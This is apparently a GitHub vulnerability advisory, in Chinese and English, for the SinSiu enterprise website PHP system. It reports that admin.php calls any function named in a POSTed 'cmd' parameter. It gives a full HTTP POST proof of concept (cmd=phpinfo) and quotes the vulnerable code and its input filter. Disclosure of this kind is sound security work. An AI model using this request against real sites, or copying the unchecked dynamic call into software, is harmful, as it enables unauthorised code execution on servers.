

main ▾

...

try / SinSiuEnterpriseWebsiteSystem



BreakALegCml Create SinSiuEnterpriseWebsiteSystem

[History](#)

1 contributor

211 lines (174 sloc) | 7 KB

...

中文:

新秀企业网站系统PHP版存在命令执行漏洞

厂商网站地址: <http://www.sinsiu.com/>

影响版本:

V1.0 下载地址: <https://www.lanzoux.com/i8tj53e>V1.1 下载地址: <http://www.sinsiu.com/>

poc:

POST /sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/deal/ HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/1

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

Origin: http://localhost

Connection: close

Referer: http://localhost/sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/basic/index

Cookie: PHPSESSID=hrjbe20ssnngqee4133k125hb2

cmd=phpinfo

detail:

负责过滤参数的函数中并没有处理phpinfo;

造成漏洞的函数:

V1.0

```

30 -----
31     if(check_admin_login() > 0)
32     {
33         if(isset($global['dir']))
34         {
35             include('admin/module/'.$global['dir'].'/deal.php');
36         }
37         $cmd = post('cmd');
38         $cmd();
39     }
40     exit();
41
42 -----
43
44     function strict($str)
45     {
46         if(S_MAGIC_QUOTES_GPC)
47         {
48             $str = stripslashes($str);
49         }
50         $str = str_replace('<', '&#60;', $str);
51         $str = str_replace('>', '&#62;', $str);
52         $str = str_replace('?', '&#63;', $str);
53         $str = str_replace('%', '&#37;', $str);
54         $str = str_replace(chr(39), '&#39;', $str);
55         $str = str_replace(chr(34), '&#34;', $str);
56         $str = str_replace(chr(13).chr(10), '<br />', $str);
57         return $str;
58     }
59
60
61 V1.1
62 -----
63     if(file_exists($path))
64     {
65         include($path);
66         $cmd = post('cmd');
67         if(function_exists($cmd))
68         {
69             $cmd();
70             exit();
71         }
72     }
73
74 -----
75     function strict($str)
76     {
77         if(get_magic_quotes_gpc())
78         {
79             $str = stripslashes($str);

```

```

79     }
80     $str = str_replace('&#', '{^}', $str);
81     $str = str_replace('#', '&#35;', $str);
82     $str = str_replace('--', '-&#45;', $str);
83     $str = str_replace('/*', '/&#42;', $str);
84     $str = str_replace('*/', '&#42;/', $str);
85     $str = str_replace('<', '&#60;', $str);
86     $str = str_replace('>', '&#62;', $str);
87     $str = str_replace('(', '&#40;', $str);
88     $str = str_replace(')', '&#41;', $str);
89     $str = str_replace('"', '&#39;', $str);
90     $str = str_replace("'", '&#34;', $str);
91     $str = str_replace('\\', '&#92;', $str);
92     $str = str_replace('%20', '&nbsp;', $str);
93     $str = str_replace(chr(13).chr(10), '<br />', $str);
94     $str = str_replace('{^}', '&#', $str);
95     return $str;
96 }

```

English:

There is a command execution vulnerability in the PHP version of the sinsiu enterprise website

Manufacturer's website address: <http://www.sinsiu.com/>

Affected version:

V1.0 download address: <https://www.lanzoux.com/i8tj53e>

V1.1 download address: <http://www.sinsiu.com/>

poc:

```

POST /sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/deal/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/1
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://localhost
Connection: close
Referer: http://localhost/sinsiu_php_1_1_6/sinsiu_php_1_1_6/upload/admin.php?/basic/index

```

```

128         Cookie: PHPSESSID=hrjbe20ssnngqee4133k125hb2
129
130         cmd=phpinfo
131
132
133         detail:
134         phpinfo() is not handled in the function responsible for filtering parameters;
135
136
137         Some functions that cause vulnerabilities:
138
139         V1.0
140         -----
141             if(check_admin_login() > 0)
142             {
143                 if(isset($global['dir']))
144                 {
145                     include('admin/module/' . $global['dir'] . '/deal.php');
146                 }
147                 $cmd = post('cmd');
148                 $cmd();
149             }
150             exit();
151         -----
152
153         function strict($str)
154         {
155             if(S_MAGIC_QUOTES_GPC)
156             {
157                 $str = stripslashes($str);
158             }
159             $str = str_replace('<', '&#60;', $str);
160             $str = str_replace('>', '&#62;', $str);
161             $str = str_replace('?', '&#63;', $str);
162             $str = str_replace('%', '&#37;', $str);
163             $str = str_replace(chr(39), '&#39;', $str);
164             $str = str_replace(chr(34), '&#34;', $str);
165             $str = str_replace(chr(13).chr(10), '<br />', $str);
166             return $str;
167         }
168
169
170
171         V1.1
172         -----
173             if(file_exists($path))
174             {
175                 include($path);
176                 $cmd = post('cmd');

```

```
177         if(function_exists($cmd))
178         {
179             $cmd();
180             exit();
181         }
182     }
183     -----
184     function strict($str)
185     {
186         if(get_magic_quotes_gpc())
187         {
188             $str = stripslashes($str);
189         }
190         $str = str_replace('&#', '{^}', $str);
191         $str = str_replace('#', '&#35;', $str);
192         $str = str_replace('--', '-&#45;', $str);
193         $str = str_replace('/*', '/&#42;', $str);
194         $str = str_replace('*', '&#42;', $str);
195         $str = str_replace('<', '&#60;', $str);
196         $str = str_replace('>', '&#62;', $str);
197         $str = str_replace('(', '&#40;', $str);
198         $str = str_replace(')', '&#41;', $str);
199         $str = str_replace('"', '&#39;', $str);
200         $str = str_replace("'", '&#34;', $str);
201         $str = str_replace('\\', '&#92;', $str);
202         $str = str_replace('%20', '&nbsp;', $str);
203         $str = str_replace(chr(13).chr(10), '<br />', $str);
204         $str = str_replace('{^}', '&#', $str);
205         return $str;
206     }
207
208
209
210
211
```